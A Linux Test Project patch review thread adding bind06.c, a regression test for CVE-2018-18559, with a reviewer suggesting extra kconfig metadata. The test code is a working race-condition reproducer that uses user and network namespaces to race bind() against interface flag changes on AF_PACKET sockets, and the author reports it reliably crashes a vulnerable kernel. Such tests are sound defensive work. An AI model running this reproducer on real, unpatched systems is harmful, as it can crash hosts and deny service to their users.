diff mbox series

Add test for CVE 2018-18559

Message ID 20200331124849.28591-1-mdoucha@suse.cz
State Superseded
Headers show
Series Add test for CVE 2018-18559 | expand

Commit Message

Martin Doucha March 31, 2020, 12:48 p.m. UTC
Fixes #411

Signed-off-by: Martin Doucha <mdoucha@suse.cz>
---

This is a rather slow test. The bind() thread can take on average 15ms due to
kernel locks on the socket or netdevice and the kernel crash is only triggered
on process exit. So the test takes about 2 to 3 minutes even with really low
number of race loops. But it reliably crashes SLE-12SP3 GM kernel.

 runtest/cve                               |   1 +
 runtest/syscalls                          |   1 +
 testcases/kernel/syscalls/bind/.gitignore |   1 +
 testcases/kernel/syscalls/bind/Makefile   |   1 +
 testcases/kernel/syscalls/bind/bind06.c   | 128 ++++++++++++++++++++++
 5 files changed, 132 insertions(+)
 create mode 100644 testcases/kernel/syscalls/bind/bind06.c

Comments

Cyril Hrubis April 6, 2020, 2:39 p.m. UTC | #1
Hi!
>  runtest/cve                               |   1 +
>  runtest/syscalls                          |   1 +
>  testcases/kernel/syscalls/bind/.gitignore |   1 +
>  testcases/kernel/syscalls/bind/Makefile   |   1 +
>  testcases/kernel/syscalls/bind/bind06.c   | 128 ++++++++++++++++++++++
>  5 files changed, 132 insertions(+)
>  create mode 100644 testcases/kernel/syscalls/bind/bind06.c
> 
> diff --git a/runtest/cve b/runtest/cve
> index a9a534300..932d97451 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -42,4 +42,5 @@ cve-2017-1000380 snd_timer01
>  cve-2018-5803 sctp_big_chunk
>  cve-2018-1000001 realpath01
>  cve-2018-1000204 ioctl_sg01
> +cve-2018-18559 bind06
>  cve-2018-19854 crypto_user01
> diff --git a/runtest/syscalls b/runtest/syscalls
> index 83d16d20e..f2073af96 100644
> --- a/runtest/syscalls
> +++ b/runtest/syscalls
> @@ -34,6 +34,7 @@ bind02 bind02
>  bind03 bind03
>  bind04 bind04
>  bind05 bind05
> +bind06 bind06
>  
>  bpf_map01 bpf_map01
>  bpf_prog01 bpf_prog01
> diff --git a/testcases/kernel/syscalls/bind/.gitignore b/testcases/kernel/syscalls/bind/.gitignore
> index e18ceea56..c85774441 100644
> --- a/testcases/kernel/syscalls/bind/.gitignore
> +++ b/testcases/kernel/syscalls/bind/.gitignore
> @@ -3,3 +3,4 @@
>  /bind03
>  /bind04
>  /bind05
> +/bind06
> diff --git a/testcases/kernel/syscalls/bind/Makefile b/testcases/kernel/syscalls/bind/Makefile
> index fffa146ad..3de725143 100644
> --- a/testcases/kernel/syscalls/bind/Makefile
> +++ b/testcases/kernel/syscalls/bind/Makefile
> @@ -6,5 +6,6 @@ top_srcdir		?= ../../../..
>  include $(top_srcdir)/include/mk/testcases.mk
>  
>  bind04 bind05:	CFLAGS		+= -pthread
> +bind06:		LDFLAGS		+= -pthread -lrt
>  
>  include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/testcases/kernel/syscalls/bind/bind06.c b/testcases/kernel/syscalls/bind/bind06.c
> new file mode 100644
> index 000000000..23f65fef6
> --- /dev/null
> +++ b/testcases/kernel/syscalls/bind/bind06.c
> @@ -0,0 +1,128 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2020 SUSE LLC <mdoucha@suse.cz>
> + *
> + * CVE-2018-18559
> + *
> + * Test for race condition vulnerability in bind() on AF_PACKET socket.
> + * Fixed in:
> + *
> + *  commit 15fe076edea787807a7cdc168df832544b58eba6
> + *  Author: Eric Dumazet <edumazet@google.com>
> + *  Date:   Tue Nov 28 08:03:30 2017 -0800
> + *
> + *  net/packet: fix a race in packet_bind() and packet_notifier()
> + */
> +
> +#define _GNU_SOURCE
> +#include <sys/socket.h>
> +#include <sys/ioctl.h>
> +#include <linux/if_packet.h>
> +#include <net/ethernet.h>
> +#include <net/if.h>
> +#include <sched.h>
> +#include "tst_test.h"
> +#include "tst_fuzzy_sync.h"
> +#include "tst_taint.h"
> +
> +static volatile int fd = -1;
> +static struct sockaddr_ll addr1, addr2;
> +static struct tst_fzsync_pair fzsync_pair;
> +
> +static void setup(void)
> +{
> +	int real_uid = getuid();
> +	int real_gid = getgid();
> +	struct ifreq ifr;
> +
> +	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
> +
> +	SAFE_UNSHARE(CLONE_NEWUSER);
> +	SAFE_UNSHARE(CLONE_NEWNET);
> +	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
> +	SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid);
> +	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid);
> +
> +	fd = SAFE_SOCKET(AF_PACKET, SOCK_DGRAM, PF_PACKET);
> +	strcpy(ifr.ifr_name, "lo");
> +	SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
> +	SAFE_CLOSE(fd);
> +
> +	addr1.sll_family = AF_PACKET;
> +	addr1.sll_ifindex = ifr.ifr_ifindex;
> +	addr2.sll_family = AF_PACKET;
> +}
> +
> +static void do_bind(void) {
> +	bind(fd, (struct sockaddr *)&addr1, sizeof(addr1));
> +	bind(fd, (struct sockaddr *)&addr2, sizeof(addr2));
> +}
> +
> +static void *thread_run(void *arg)
> +{
> +	while (tst_fzsync_run_b(&fzsync_pair)) {
> +		tst_fzsync_start_race_b(&fzsync_pair);
> +		do_bind();
> +		tst_fzsync_end_race_b(&fzsync_pair);
> +	}
> +
> +	return arg;
> +}
> +
> +static void child_run(void)
> +{
> +	struct ifreq ifr;
> +
> +	fzsync_pair.exec_loops = 10000;
> +	tst_fzsync_pair_init(&fzsync_pair);
> +	tst_fzsync_pair_reset(&fzsync_pair, thread_run);
> +	strcpy(ifr.ifr_name, "lo");
> +
> +	while (tst_fzsync_run_a(&fzsync_pair)) {
> +		fd = SAFE_SOCKET(AF_PACKET, SOCK_DGRAM, PF_PACKET);
> +		ifr.ifr_flags = 0;
> +		ioctl(fd, SIOCSIFFLAGS, &ifr);
> +		ifr.ifr_flags = IFF_UP;
> +		tst_fzsync_start_race_a(&fzsync_pair);
> +		ioctl(fd, SIOCSIFFLAGS, &ifr);
> +		tst_fzsync_end_race_a(&fzsync_pair);
> +		SAFE_CLOSE(fd);
> +
> +	}
> +
> +	tst_fzsync_pair_cleanup(&fzsync_pair);
> +}
> +
> +static void run(void)
> +{
> +	pid_t child;
> +
> +	/* The kernel crash is triggered on process exit. */
> +	child = SAFE_FORK();
> +
> +	if (!child) {
> +		child_run();
> +		exit(0);
> +	}
> +
> +	SAFE_WAITPID(child, NULL, 0);
> +
> +	if (tst_taint_check()) {
> +		tst_res(TFAIL, "Kernel is vulnerable");
> +		return;
> +	}
> +
> +	tst_res(TPASS, "Nothing bad happened, probably");
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.timeout = 600,
> +	.forks_child = 1,
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "15fe076edea7"},
> +		{"CVE", "2018-18559"},
> +		{}
> +	}

Maybe we should add:

	.needs_kconfig = {
		"CONFIG_USER_NS=y",
		"CONFIG_NET_NS=y",
		NULL
	};

Just for the sake of having correct metadata in the test.

Otherwise it looks good.

> +};
> -- 
> 2.25.1
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp
diff mbox series

Patch

diff --git a/runtest/cve b/runtest/cve
index a9a534300..932d97451 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -42,4 +42,5 @@  cve-2017-1000380 snd_timer01
 cve-2018-5803 sctp_big_chunk
 cve-2018-1000001 realpath01
 cve-2018-1000204 ioctl_sg01
+cve-2018-18559 bind06
 cve-2018-19854 crypto_user01
diff --git a/runtest/syscalls b/runtest/syscalls
index 83d16d20e..f2073af96 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -34,6 +34,7 @@  bind02 bind02
 bind03 bind03
 bind04 bind04
 bind05 bind05
+bind06 bind06
 
 bpf_map01 bpf_map01
 bpf_prog01 bpf_prog01
diff --git a/testcases/kernel/syscalls/bind/.gitignore b/testcases/kernel/syscalls/bind/.gitignore
index e18ceea56..c85774441 100644
--- a/testcases/kernel/syscalls/bind/.gitignore
+++ b/testcases/kernel/syscalls/bind/.gitignore
@@ -3,3 +3,4 @@ 
 /bind03
 /bind04
 /bind05
+/bind06
diff --git a/testcases/kernel/syscalls/bind/Makefile b/testcases/kernel/syscalls/bind/Makefile
index fffa146ad..3de725143 100644
--- a/testcases/kernel/syscalls/bind/Makefile
+++ b/testcases/kernel/syscalls/bind/Makefile
@@ -6,5 +6,6 @@  top_srcdir		?= ../../../..
 include $(top_srcdir)/include/mk/testcases.mk
 
 bind04 bind05:	CFLAGS		+= -pthread
+bind06:		LDFLAGS		+= -pthread -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/bind/bind06.c b/testcases/kernel/syscalls/bind/bind06.c
new file mode 100644
index 000000000..23f65fef6
--- /dev/null
+++ b/testcases/kernel/syscalls/bind/bind06.c
@@ -0,0 +1,128 @@ 
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC <mdoucha@suse.cz>
+ *
+ * CVE-2018-18559
+ *
+ * Test for race condition vulnerability in bind() on AF_PACKET socket.
+ * Fixed in:
+ *
+ *  commit 15fe076edea787807a7cdc168df832544b58eba6
+ *  Author: Eric Dumazet <edumazet@google.com>
+ *  Date:   Tue Nov 28 08:03:30 2017 -0800
+ *
+ *  net/packet: fix a race in packet_bind() and packet_notifier()
+ */
+
+#define _GNU_SOURCE
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <linux/if_packet.h>
+#include <net/ethernet.h>
+#include <net/if.h>
+#include <sched.h>
+#include "tst_test.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_taint.h"
+
+static volatile int fd = -1;
+static struct sockaddr_ll addr1, addr2;
+static struct tst_fzsync_pair fzsync_pair;
+
+static void setup(void)
+{
+	int real_uid = getuid();
+	int real_gid = getgid();
+	struct ifreq ifr;
+
+	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+
+	SAFE_UNSHARE(CLONE_NEWUSER);
+	SAFE_UNSHARE(CLONE_NEWNET);
+	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
+	SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid);
+	SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid);
+
+	fd = SAFE_SOCKET(AF_PACKET, SOCK_DGRAM, PF_PACKET);
+	strcpy(ifr.ifr_name, "lo");
+	SAFE_IOCTL(fd, SIOCGIFINDEX, &ifr);
+	SAFE_CLOSE(fd);
+
+	addr1.sll_family = AF_PACKET;
+	addr1.sll_ifindex = ifr.ifr_ifindex;
+	addr2.sll_family = AF_PACKET;
+}
+
+static void do_bind(void) {
+	bind(fd, (struct sockaddr *)&addr1, sizeof(addr1));
+	bind(fd, (struct sockaddr *)&addr2, sizeof(addr2));
+}
+
+static void *thread_run(void *arg)
+{
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
+		do_bind();
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+
+	return arg;
+}
+
+static void child_run(void)
+{
+	struct ifreq ifr;
+
+	fzsync_pair.exec_loops = 10000;
+	tst_fzsync_pair_init(&fzsync_pair);
+	tst_fzsync_pair_reset(&fzsync_pair, thread_run);
+	strcpy(ifr.ifr_name, "lo");
+
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		fd = SAFE_SOCKET(AF_PACKET, SOCK_DGRAM, PF_PACKET);
+		ifr.ifr_flags = 0;
+		ioctl(fd, SIOCSIFFLAGS, &ifr);
+		ifr.ifr_flags = IFF_UP;
+		tst_fzsync_start_race_a(&fzsync_pair);
+		ioctl(fd, SIOCSIFFLAGS, &ifr);
+		tst_fzsync_end_race_a(&fzsync_pair);
+		SAFE_CLOSE(fd);
+
+	}
+
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+}
+
+static void run(void)
+{
+	pid_t child;
+
+	/* The kernel crash is triggered on process exit. */
+	child = SAFE_FORK();
+
+	if (!child) {
+		child_run();
+		exit(0);
+	}
+
+	SAFE_WAITPID(child, NULL, 0);
+
+	if (tst_taint_check()) {
+		tst_res(TFAIL, "Kernel is vulnerable");
+		return;
+	}
+
+	tst_res(TPASS, "Nothing bad happened, probably");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.timeout = 600,
+	.forks_child = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "15fe076edea7"},
+		{"CVE", "2018-18559"},
+		{}
+	}
+};